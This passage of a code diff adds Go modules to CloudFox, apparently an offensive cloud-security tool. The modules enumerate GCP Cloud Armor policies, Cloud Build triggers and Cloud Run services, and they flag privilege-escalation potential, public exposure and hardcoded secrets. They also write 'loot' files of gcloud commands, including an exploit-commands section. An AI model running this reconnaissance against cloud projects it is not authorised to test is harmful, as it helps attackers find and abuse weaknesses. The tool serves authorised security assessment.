}
}
func (m *CertManagerModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allCerts := m.getAllCertificates()
allSSLCerts := m.getAllSSLCertificates()
allCertMaps := m.getAllCertMaps()
var tables []internal.TableFile
if len(allCerts) > 0 || len(allSSLCerts) > 0 {
tables = append(tables, internal.TableFile{
Name: "certificates",
Header: m.getCertificatesHeader(),
Body: m.certsToTableBody(allCerts, allSSLCerts),
})
}
if len(allCertMaps) > 0 {
tables = append(tables, internal.TableFile{
Name: "certificate-maps",
Header: m.getCertMapsHeader(),
Body: m.certMapsToTableBody(allCertMaps),
})
}
output := CertManagerOutput{Table: tables}
scopeNames := make([]string, len(m.ProjectIDs))
for i, projectID := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(projectID)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CERTMANAGER_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+371
View File
@@ -0,0 +1,371 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
cloudarmorservice "github.com/BishopFox/cloudfox/gcp/services/cloudArmorService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPCloudArmorCommand = &cobra.Command{
Use: globals.GCP_CLOUDARMOR_MODULE_NAME,
Aliases: []string{"armor", "waf", "security-policies"},
Short: "Enumerate Cloud Armor security policies and find weaknesses",
Long: `Enumerate Cloud Armor security policies and identify misconfigurations.
Cloud Armor provides DDoS protection and WAF (Web Application Firewall) capabilities
for Google Cloud load balancers.
Security Relevance:
- Misconfigured policies may not actually block attacks
- Preview-only rules don't block, just log
- Missing OWASP rules leave apps vulnerable to common attacks
- Unprotected load balancers have no WAF protection
What this module finds:
- All Cloud Armor security policies
- Policy weaknesses and misconfigurations
- Rules in preview mode (not blocking)
- Load balancers without Cloud Armor protection
- Missing adaptive protection (DDoS)`,
Run: runGCPCloudArmorCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type CloudArmorModule struct {
gcpinternal.BaseGCPModule
ProjectPolicies map[string][]cloudarmorservice.SecurityPolicy // projectID -> policies
UnprotectedLBs map[string][]string // projectID -> LB names
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type CloudArmorOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o CloudArmorOutput) TableFiles() []internal.TableFile { return o.Table }
func (o CloudArmorOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPCloudArmorCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDARMOR_MODULE_NAME)
if err != nil {
return
}
module := &CloudArmorModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectPolicies: make(map[string][]cloudarmorservice.SecurityPolicy),
UnprotectedLBs: make(map[string][]string),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *CloudArmorModule) getAllPolicies() []cloudarmorservice.SecurityPolicy {
var all []cloudarmorservice.SecurityPolicy
for _, policies := range m.ProjectPolicies {
all = append(all, policies...)
}
return all
}
func (m *CloudArmorModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDARMOR_MODULE_NAME, m.processProject)
// Count unprotected LBs
totalUnprotected := 0
for _, lbs := range m.UnprotectedLBs {
totalUnprotected += len(lbs)
}
allPolicies := m.getAllPolicies()
if len(allPolicies) == 0 && totalUnprotected == 0 {
logger.InfoM("No Cloud Armor policies found", globals.GCP_CLOUDARMOR_MODULE_NAME)
return
}
// Count policies with weaknesses
weakPolicies := 0
for _, policy := range allPolicies {
if len(policy.Weaknesses) > 0 {
weakPolicies++
}
}
logger.SuccessM(fmt.Sprintf("Found %d security policy(ies), %d with weaknesses, %d unprotected LB(s)",
len(allPolicies), weakPolicies, totalUnprotected), globals.GCP_CLOUDARMOR_MODULE_NAME)
if totalUnprotected > 0 {
logger.InfoM(fmt.Sprintf("[MEDIUM] %d load balancer(s) have no Cloud Armor protection", totalUnprotected), globals.GCP_CLOUDARMOR_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *CloudArmorModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Checking Cloud Armor in project: %s", projectID), globals.GCP_CLOUDARMOR_MODULE_NAME)
}
svc := cloudarmorservice.New()
// Get security policies
policies, err := svc.GetSecurityPolicies(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDARMOR_MODULE_NAME,
fmt.Sprintf("Could not enumerate Cloud Armor security policies in project %s", projectID))
}
// Get unprotected LBs
unprotectedLBs, err := svc.GetUnprotectedLoadBalancers(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDARMOR_MODULE_NAME,
fmt.Sprintf("Could not enumerate unprotected load balancers in project %s", projectID))
}
m.mu.Lock()
m.ProjectPolicies[projectID] = policies
if len(unprotectedLBs) > 0 {
m.UnprotectedLBs[projectID] = unprotectedLBs
}
m.mu.Unlock()
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *CloudArmorModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *CloudArmorModule) getPoliciesHeader() []string {
return []string{"Project", "Policy", "Type", "Rules", "Adaptive", "DDoS", "Attached To", "Weaknesses"}
}
func (m *CloudArmorModule) getRulesHeader() []string {
return []string{"Project", "Policy", "Priority", "Action", "Preview", "Match", "Rate Limit"}
}
func (m *CloudArmorModule) getUnprotectedLBsHeader() []string {
return []string{"Project", "Backend Service", "Status"}
}
func (m *CloudArmorModule) policiesToTableBody(policies []cloudarmorservice.SecurityPolicy) [][]string {
var body [][]string
for _, policy := range policies {
adaptive := "No"
if policy.AdaptiveProtection {
adaptive = "Yes"
}
ddos := "-"
if policy.DDOSProtection != "" {
ddos = policy.DDOSProtection
}
resources := "-"
if len(policy.AttachedResources) > 0 {
resources = strings.Join(policy.AttachedResources, ", ")
}
weaknesses := "-"
if len(policy.Weaknesses) > 0 {
weaknesses = strings.Join(policy.Weaknesses, "; ")
}
body = append(body, []string{
m.GetProjectName(policy.ProjectID),
policy.Name,
policy.Type,
fmt.Sprintf("%d", policy.RuleCount),
adaptive,
ddos,
resources,
weaknesses,
})
}
return body
}
func (m *CloudArmorModule) rulesToTableBody(policies []cloudarmorservice.SecurityPolicy) [][]string {
var body [][]string
for _, policy := range policies {
for _, rule := range policy.Rules {
preview := "No"
if rule.Preview {
preview = "Yes"
}
rateLimit := "-"
if rule.RateLimitConfig != nil {
rateLimit = fmt.Sprintf("%d/%ds", rule.RateLimitConfig.ThresholdCount, rule.RateLimitConfig.IntervalSec)
}
match := rule.Match
if len(match) > 80 {
match = match[:77] + "..."
}
body = append(body, []string{
m.GetProjectName(policy.ProjectID),
policy.Name,
fmt.Sprintf("%d", rule.Priority),
rule.Action,
preview,
match,
rateLimit,
})
}
}
return body
}
func (m *CloudArmorModule) unprotectedLBsToTableBody(projectID string, lbs []string) [][]string {
var body [][]string
for _, lb := range lbs {
body = append(body, []string{
m.GetProjectName(projectID),
lb,
"UNPROTECTED",
})
}
return body
}
func (m *CloudArmorModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if policies, ok := m.ProjectPolicies[projectID]; ok && len(policies) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "security-policies",
Header: m.getPoliciesHeader(),
Body: m.policiesToTableBody(policies),
})
// Add rules table if there are rules
rulesBody := m.rulesToTableBody(policies)
if len(rulesBody) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "security-policy-rules",
Header: m.getRulesHeader(),
Body: rulesBody,
})
}
}
if lbs, ok := m.UnprotectedLBs[projectID]; ok && len(lbs) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "unprotected-backend-services",
Header: m.getUnprotectedLBsHeader(),
Body: m.unprotectedLBsToTableBody(projectID, lbs),
})
}
return tableFiles
}
func (m *CloudArmorModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectPolicies {
projectIDs[projectID] = true
}
for projectID := range m.UnprotectedLBs {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
outputData.ProjectLevelData[projectID] = CloudArmorOutput{Table: tableFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDARMOR_MODULE_NAME)
}
}
func (m *CloudArmorModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
var tables []internal.TableFile
allPolicies := m.getAllPolicies()
if len(allPolicies) > 0 {
tables = append(tables, internal.TableFile{
Name: "security-policies",
Header: m.getPoliciesHeader(),
Body: m.policiesToTableBody(allPolicies),
})
}
// Add rules table if there are rules
if len(allPolicies) > 0 {
rulesBody := m.rulesToTableBody(allPolicies)
if len(rulesBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "security-policy-rules",
Header: m.getRulesHeader(),
Body: rulesBody,
})
}
}
// Build unprotected LBs table from all projects
var allUnprotectedBody [][]string
for projectID, lbs := range m.UnprotectedLBs {
allUnprotectedBody = append(allUnprotectedBody, m.unprotectedLBsToTableBody(projectID, lbs)...)
}
if len(allUnprotectedBody) > 0 {
tables = append(tables, internal.TableFile{
Name: "unprotected-backend-services",
Header: m.getUnprotectedLBsHeader(),
Body: allUnprotectedBody,
})
}
output := CloudArmorOutput{Table: tables}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDARMOR_MODULE_NAME)
}
}
+523
View File
@@ -0,0 +1,523 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
cloudbuildservice "github.com/BishopFox/cloudfox/gcp/services/cloudbuildService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPCloudBuildCommand = &cobra.Command{
Use: globals.GCP_CLOUDBUILD_MODULE_NAME,
Aliases: []string{"cb", "build", "builds"},
Short: "Enumerate Cloud Build triggers and builds",
Long: `Enumerate Cloud Build triggers and recent build executions.
Features:
- Lists all build triggers
- Shows trigger source configuration (GitHub, CSR)
- Identifies service accounts used for builds
- Shows recent build executions
- Detects potentially risky trigger configurations`,
Run: runGCPCloudBuildCommand,
}
// ------------------------------
// Module Struct with embedded BaseGCPModule
// ------------------------------
type CloudBuildModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields
ProjectTriggers map[string][]cloudbuildservice.TriggerInfo // projectID -> triggers
ProjectBuilds map[string][]cloudbuildservice.BuildInfo // projectID -> builds
ProjectSecurityAnalysis map[string][]cloudbuildservice.TriggerSecurityAnalysis // projectID -> analysis
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper attack path analysis results
mu sync.Mutex
}
// ------------------------------
// Output Struct implementing CloudfoxOutput interface
// ------------------------------
type CloudBuildOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o CloudBuildOutput) TableFiles() []internal.TableFile { return o.Table }
func (o CloudBuildOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPCloudBuildCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDBUILD_MODULE_NAME)
if err != nil {
return
}
module := &CloudBuildModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectTriggers: make(map[string][]cloudbuildservice.TriggerInfo),
ProjectBuilds: make(map[string][]cloudbuildservice.BuildInfo),
ProjectSecurityAnalysis: make(map[string][]cloudbuildservice.TriggerSecurityAnalysis),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *CloudBuildModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDBUILD_MODULE_NAME, m.processProject)
allTriggers := m.getAllTriggers()
allBuilds := m.getAllBuilds()
if len(allTriggers) == 0 && len(allBuilds) == 0 {
logger.InfoM("No Cloud Build triggers or builds found", globals.GCP_CLOUDBUILD_MODULE_NAME)
return
}
logger.SuccessM(fmt.Sprintf("Found %d trigger(s), %d recent build(s)",
len(allTriggers), len(allBuilds)), globals.GCP_CLOUDBUILD_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *CloudBuildModule) getAllTriggers() []cloudbuildservice.TriggerInfo {
var all []cloudbuildservice.TriggerInfo
for _, triggers := range m.ProjectTriggers {
all = append(all, triggers...)
}
return all
}
func (m *CloudBuildModule) getAllBuilds() []cloudbuildservice.BuildInfo {
var all []cloudbuildservice.BuildInfo
for _, builds := range m.ProjectBuilds {
all = append(all, builds...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *CloudBuildModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Cloud Build in project: %s", projectID), globals.GCP_CLOUDBUILD_MODULE_NAME)
}
cbSvc := cloudbuildservice.New()
// Get triggers
triggers, err := cbSvc.ListTriggers(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDBUILD_MODULE_NAME,
fmt.Sprintf("Could not enumerate Cloud Build triggers in project %s", projectID))
}
// Get recent builds
builds, err := cbSvc.ListBuilds(projectID, 20)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_CLOUDBUILD_MODULE_NAME,
fmt.Sprintf("Could not enumerate Cloud Build builds in project %s", projectID))
}
m.mu.Lock()
m.ProjectTriggers[projectID] = triggers
m.ProjectBuilds[projectID] = builds
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["cloudbuild-details"] = &internal.LootFile{
Name: "cloudbuild-details",
Contents: "# Cloud Build Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
var projectAnalysis []cloudbuildservice.TriggerSecurityAnalysis
for _, trigger := range triggers {
m.addTriggerToLoot(projectID, trigger)
// Perform security analysis
analysis := cbSvc.AnalyzeTriggerForPrivesc(trigger, projectID)
projectAnalysis = append(projectAnalysis, analysis)
m.addSecurityAnalysisToLoot(projectID, analysis)
}
m.ProjectSecurityAnalysis[projectID] = projectAnalysis
// Add build step analysis to loot
for _, build := range builds {
m.addBuildToLoot(projectID, build)
}
m.mu.Unlock()
}
// ------------------------------
// Loot File Management
// ------------------------------
func (m *CloudBuildModule) addTriggerToLoot(projectID string, trigger cloudbuildservice.TriggerInfo) {
lootFile := m.LootMap[projectID]["cloudbuild-details"]
if lootFile == nil {
return
}
// Build flags for special attributes
var flags []string
if trigger.PrivescPotential {
flags = append(flags, "PRIVESC POTENTIAL")
}
if trigger.Disabled {
flags = append(flags, "DISABLED")
}
flagStr := ""
if len(flags) > 0 {
flagStr = " [" + strings.Join(flags, "] [") + "]"
}
sa := trigger.ServiceAccount
if sa == "" {
sa = "(default)"
}
branchTag := trigger.BranchName
if branchTag == "" {
branchTag = trigger.TagName
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# BUILD TRIGGER: %s%s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# ID: %s\n"+
"# Source: %s - %s\n"+
"# Branch/Tag: %s, Config: %s\n"+
"# Service Account: %s\n\n"+
"# === ENUMERATION COMMANDS ===\n\n"+
"# Describe trigger:\n"+
"gcloud builds triggers describe %s --project=%s\n",
trigger.Name, flagStr,
trigger.ProjectID,
trigger.ID,
trigger.SourceType, trigger.RepoName,
branchTag, trigger.Filename,
sa,
trigger.ID, trigger.ProjectID,
)
}
func (m *CloudBuildModule) addSecurityAnalysisToLoot(projectID string, analysis cloudbuildservice.TriggerSecurityAnalysis) {
lootFile := m.LootMap[projectID]["cloudbuild-details"]
if lootFile == nil {
return
}
// Add exploitation commands if available
if len(analysis.ExploitCommands) > 0 {
lootFile.Contents += "\n# === EXPLOIT COMMANDS ===\n\n"
for _, cmd := range analysis.ExploitCommands {
lootFile.Contents += fmt.Sprintf("# %s\n", cmd)
}
}
lootFile.Contents += "\n"
}
func (m *CloudBuildModule) addBuildToLoot(projectID string, build cloudbuildservice.BuildInfo) {
lootFile := m.LootMap[projectID]["cloudbuild-details"]
if lootFile == nil {
return
}
buildID := build.ID
if len(buildID) > 12 {
buildID = buildID[:12]
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# BUILD: %s\n"+
"# -----------------------------------------------------------------------------\n"+
"# Project: %s, Status: %s\n"+
"# Trigger: %s, Source: %s\n",
buildID,
build.ProjectID, build.Status,
build.TriggerID, build.Source,
)
// Log location
if build.LogsBucket != "" {
lootFile.Contents += fmt.Sprintf(
"Logs: gsutil cat %s/log-%s.txt\n",
build.LogsBucket, build.ID,
)
}
// Secret environment variables
if len(build.SecretEnvVars) > 0 {
lootFile.Contents += "Secret Env Vars:\n"
for _, secret := range build.SecretEnvVars {
lootFile.Contents += fmt.Sprintf(" - %s\n", secret)
}
}
lootFile.Contents += "\n"
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *CloudBuildModule) writeOutput(ctx context.Context, logger internal.Logger) {
// Log privesc count
privescCount := 0
for _, triggers := range m.ProjectTriggers {
for _, trigger := range triggers {
if trigger.PrivescPotential {
privescCount++
}
}
}
if privescCount > 0 {
logger.InfoM(fmt.Sprintf("[PENTEST] Found %d trigger(s) with privilege escalation potential!", privescCount), globals.GCP_CLOUDBUILD_MODULE_NAME)
}
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *CloudBuildModule) getTriggersHeader() []string {
return []string{
"Project Name",
"Project ID",
"Name",
"Source",
"Repository",
"Branch/Tag",
"Config File",
"Service Account",
"SA Attack Paths",
"Disabled",
"Privesc Potential",
}
}
func (m *CloudBuildModule) getBuildsHeader() []string {
return []string{
"Project Name",
"Project ID",
"ID",
"Status",
"Trigger",
"Source",
"Created",
}
}
func (m *CloudBuildModule) triggersToTableBody(triggers []cloudbuildservice.TriggerInfo) [][]string {
var body [][]string
for _, trigger := range triggers {
disabled := "No"
if trigger.Disabled {
disabled = "Yes"
}
privescPotential := "No"
if trigger.PrivescPotential {
privescPotential = "Yes"
}
branchTag := trigger.BranchName
if branchTag == "" {
branchTag = trigger.TagName
}
sa := trigger.ServiceAccount
if sa == "" {
sa = "(default)"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
if sa != "(default)" && sa != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa)
} else {
attackPaths = "No"
}
}
body = append(body, []string{
m.GetProjectName(trigger.ProjectID),
trigger.ProjectID,
trigger.Name,
trigger.SourceType,
trigger.RepoName,
branchTag,
trigger.Filename,
sa,
attackPaths,
disabled,
privescPotential,
})
}
return body
}
func (m *CloudBuildModule) buildsToTableBody(builds []cloudbuildservice.BuildInfo) [][]string {
var body [][]string
for _, build := range builds {
buildID := build.ID
if len(buildID) > 12 {
buildID = buildID[:12]
}
body = append(body, []string{
m.GetProjectName(build.ProjectID),
build.ProjectID,
buildID,
build.Status,
build.TriggerID,
build.Source,
build.CreateTime,
})
}
return body
}
func (m *CloudBuildModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if triggers, ok := m.ProjectTriggers[projectID]; ok && len(triggers) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "cloudbuild-triggers",
Header: m.getTriggersHeader(),
Body: m.triggersToTableBody(triggers),
})
}
if builds, ok := m.ProjectBuilds[projectID]; ok && len(builds) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "cloudbuild-builds",
Header: m.getBuildsHeader(),
Body: m.buildsToTableBody(builds),
})
}
return tableFiles
}
func (m *CloudBuildModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectTriggers {
projectIDs[projectID] = true
}
for projectID := range m.ProjectBuilds {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = CloudBuildOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_CLOUDBUILD_MODULE_NAME)
}
}
func (m *CloudBuildModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allTriggers := m.getAllTriggers()
allBuilds := m.getAllBuilds()
var tables []internal.TableFile
if len(allTriggers) > 0 {
tables = append(tables, internal.TableFile{
Name: "cloudbuild-triggers",
Header: m.getTriggersHeader(),
Body: m.triggersToTableBody(allTriggers),
})
}
if len(allBuilds) > 0 {
tables = append(tables, internal.TableFile{
Name: "cloudbuild-builds",
Header: m.getBuildsHeader(),
Body: m.buildsToTableBody(allBuilds),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := CloudBuildOutput{
Table: tables,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
m.ProjectIDs,
scopeNames,
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_CLOUDBUILD_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
+688
View File
@@ -0,0 +1,688 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
CloudRunService "github.com/BishopFox/cloudfox/gcp/services/cloudrunService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPCloudRunCommand = &cobra.Command{
Use: globals.GCP_CLOUDRUN_MODULE_NAME,
Aliases: []string{"run", "cr"},
Short: "Enumerate Cloud Run services and jobs with security analysis",
Long: `Enumerate Cloud Run services and jobs across projects with security-relevant details.
Features:
- Lists all Cloud Run services and jobs
- Shows security configuration (ingress, VPC, service account)
- Identifies publicly invokable services (allUsers/allAuthenticatedUsers)
- Shows container image, resources, and scaling configuration
- Counts environment variables and secret references
- Generates gcloud commands for further analysis
Security Columns:
- Ingress: INGRESS_TRAFFIC_ALL (public), INTERNAL_ONLY, or INTERNAL_LOAD_BALANCER
- Public: Whether allUsers or allAuthenticatedUsers can invoke the service
- Service Account: The identity the service runs as
- SA Attack Paths: Privesc/exfil/lateral movement potential (run foxmapper first)
- VPC Access: Network connectivity to VPC resources
- Env Vars: Count of plain environment variables
- Secret Mgr: Count of env vars referencing Secret Manager (secure storage)
- Hardcoded: Detected secrets in env var VALUES (API keys, passwords, tokens)
Attack Surface:
- Public services with ALL ingress are internet-accessible
- Services with default service account may have excessive permissions
- VPC-connected services can access internal resources
- Container images may contain vulnerabilities or secrets
- Hardcoded secrets in env vars are a critical security risk
TIP: Run foxmapper first to populate the SA Attack Paths column.`,
Run: runGCPCloudRunCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type CloudRunModule struct {
gcpinternal.BaseGCPModule
// Module-specific fields - per-project for hierarchical output
ProjectServices map[string][]CloudRunService.ServiceInfo // projectID -> services
ProjectJobs map[string][]CloudRunService.JobInfo // projectID -> jobs
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type CloudRunOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o CloudRunOutput) TableFiles() []internal.TableFile { return o.Table }
func (o CloudRunOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPCloudRunCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_CLOUDRUN_MODULE_NAME)
if err != nil {
return
}
module := &CloudRunModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectServices: make(map[string][]CloudRunService.ServiceInfo),
ProjectJobs: make(map[string][]CloudRunService.JobInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *CloudRunModule) Execute(ctx context.Context, logger internal.Logger) {
// Try to get FoxMapper cache (preferred - graph-based analysis)
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
logger.InfoM("Using FoxMapper graph data for attack path analysis", globals.GCP_CLOUDRUN_MODULE_NAME)
}
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_CLOUDRUN_MODULE_NAME, m.processProject)
// Get all resources for stats
allServices := m.getAllServices()
allJobs := m.getAllJobs()
totalResources := len(allServices) + len(allJobs)
if totalResources == 0 {
logger.InfoM("No Cloud Run services or jobs found", globals.GCP_CLOUDRUN_MODULE_NAME)
return
}
// Count public services
publicCount := 0
for _, svc := range allServices {
if svc.IsPublic {
publicCount++
}
}
if publicCount > 0 {
logger.SuccessM(fmt.Sprintf("Found %d service(s), %d job(s), %d public", len(allServices), len(allJobs), publicCount), globals.GCP_CLOUDRUN_MODULE_NAME)
} else {
logger.SuccessM(fmt.Sprintf("Found %d service(s), %d job(s)", len(allServices), len(allJobs)), globals.GCP_CLOUDRUN_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// getAllServices returns all services from all projects (for statistics)
func (m *CloudRunModule) getAllServices() []CloudRunService.ServiceInfo {
var all []CloudRunService.ServiceInfo
for _, services := range m.ProjectServices {
all = append(all, services...)
}
return all
}
// getAllJobs returns all jobs from all projects (for statistics)
func (m *CloudRunModule) getAllJobs() []CloudRunService.JobInfo {
var all []CloudRunService.JobInfo
for _, jobs := range m.ProjectJobs {
all = append(all, jobs...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *CloudRunModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Cloud Run in project: %s", projectID), globals.GCP_CLOUDRUN_MODULE_NAME)
}
cs := CloudRunService.New()
// Initialize loot for this project
m.mu.Lock()
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["cloudrun-commands"] = &internal.LootFile{
Name: "cloudrun-commands",
Contents: "# Cloud Run Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["cloudrun-secret-refs"] = &internal.LootFile{
Name: "cloudrun-secret-refs",
